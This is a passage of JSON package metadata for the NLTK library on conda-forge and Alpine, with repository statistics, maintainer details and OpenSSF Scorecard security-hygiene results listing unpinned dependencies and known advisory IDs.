https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-04-01T16:19:34.069Z","dependent_packages_count":43,"downloads":3776469,"downloads_period":"total","dependent_repos_count":717,"rankings":{"downloads":null,"dependent_repos_count":0.9483404042924881,"dependent_packages_count":1.6321437484402297,"stargazers_count":2.470676316446219,"forks_count":2.1063139505864736,"docker_downloads_count":null,"average":1.7893686049413526},"purl":"pkg:conda/nltk?repository_url=https://conda-forge.org","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/nltk","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/nltk","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/nltk/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/nltk/codemeta","maintainers":[],"registry":{"name":"conda-forge.org","url":"https://conda-forge.org","ecosystem":"conda","default":false,"packages_count":20636,"maintainers_count":0,"namespaces_count":0,"keywords_count":13549,"github":"conda-forge","metadata":{"kind":"conda-forge","key":"CondaForge","api":"https://conda.anaconda.org","funded_packages_count":2269},"icon_url":"https://github.com/conda-forge.png","created_at":"2022-10-03T15:37:08.743Z","updated_at":"2026-06-10T05:18:51.687Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/namespaces"}},{"id":7632482,"name":"py3-nltk-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-nltk","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":9,"first_release_published_at":"2023-04-20T10:35:44.000Z","latest_release_published_at":"2026-05-12T00:00:03.000Z","latest_release_number":"3.9.4-r0","last_synced_at":"2026-05-12T00:33:38.859Z","created_at":"2023-04-23T01:47:39.803Z","updated_at":"2026-05-12T00:33:39.719Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-nltk-pyc","install_command":"apk add py3-nltk-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":279148122,"owners_count":26114201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-16T02:00:06.019Z","response_time":53,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2025-10-17T21:12:21.588Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":14.132689623958058,"stargazers_count":1.3692530335077369,"forks_count":0.801513970833797,"average":4.075864157074898},"purl":"pkg:apk/alpine/py3-nltk-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=edge","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-nltk-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-nltk-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-nltk-pyc/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-10-07T15:01:08.027Z","issues_count":280,"pull_requests_count":238,"avg_time_to_close_issue":27896123.601226993,"avg_time_to_close_pull_request":9941234.244791666,"issues_closed_count":163,"pull_requests_closed_count":192,"pull_request_authors_count":82,"issue_authors_count":242,"avg_comments_per_issue":3.7607142857142857,"avg_comments_per_pull_request":2.6092436974789917,"merged_pull_requests_count":137,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":54,"past_year_pull_requests_count":78,"past_year_avg_time_to_close_issue":1278785.7931034483,"past_year_avg_time_to_close_pull_request":2512805.6153846155,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":52,"past_year_pull_request_authors_count":26,"past_year_issue_authors_count":44,"past_year_avg_comments_per_issue":1.0740740740740742,"past_year_avg_comments_per_pull_request":2.269230769230769,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/issues","maintainers":[{"login":"ekaf","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":23,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"},{"login":"tomaarsen","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tomaarsen"},{"login":"alexrudnick","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alexrudnick"},{"login":"stevenbird","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stevenbird"}],"active_maintainers":[{"login":"ekaf","count":31,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ekaf"},{"login":"purificant","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/purificant"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages/py3-nltk-pyc/codemeta","maintainers":[{"uuid":"wpsinatra@gmail.com","login":null,"name":"Will Sinatra","email":"wpsinatra@gmail.com","url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","packages_count":635,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Will Sinatra","role":null,"created_at":"2024-11-13T02:39:40.859Z","updated_at":"2024-11-13T02:39:40.859Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers/wpsinatra@gmail.com/packages"}],"registry":{"name":"alpine-edge","url":"https://pkgs.alpinelinux.org/packages?branch=edge","ecosystem":"alpine","default":false,"packages_count":39502,"maintainers_count":890,"namespaces_count":3,"keywords_count":6579,"github":"alpinelinux","metadata":{"repos":["main","community","testing"],"funded_packages_count":2727},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.616Z","updated_at":"2026-06-10T05:16:50.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-edge/namespaces"}},{"id":11766055,"name":"py3-nltk","ecosystem":"alpine","description":"Natural Language Toolkit","homepage":"https://github.com/nltk/nltk","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_published_at":"2024-11-21T22:17:49.000Z","latest_release_number":"3.9.1-r0","last_synced_at":"2026-04-01T01:52:26.601Z","created_at":"2025-06-07T18:36:04.431Z","updated_at":"2026-04-01T01:52:26.601Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.22/community/x86_64/py3-nltk","install_command":"apk add py3-nltk","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2025-10-07T05:54:26.000Z","size":354538,"stargazers_count":14337,"open_issues_count":269,"forks_count":2945,"subscribers_count":452,"default_branch":"develop","last_synced_at":"2025-10-16T01:12:42.219Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2025-10-15T13:30:24.000Z","dependencies_parsed_at":"2023-07-05T15:16:46.493Z","dependency_job_id":"cbe8f0b1-5657-4fc2-ab64-5f7a827e77b4","html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":47,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized 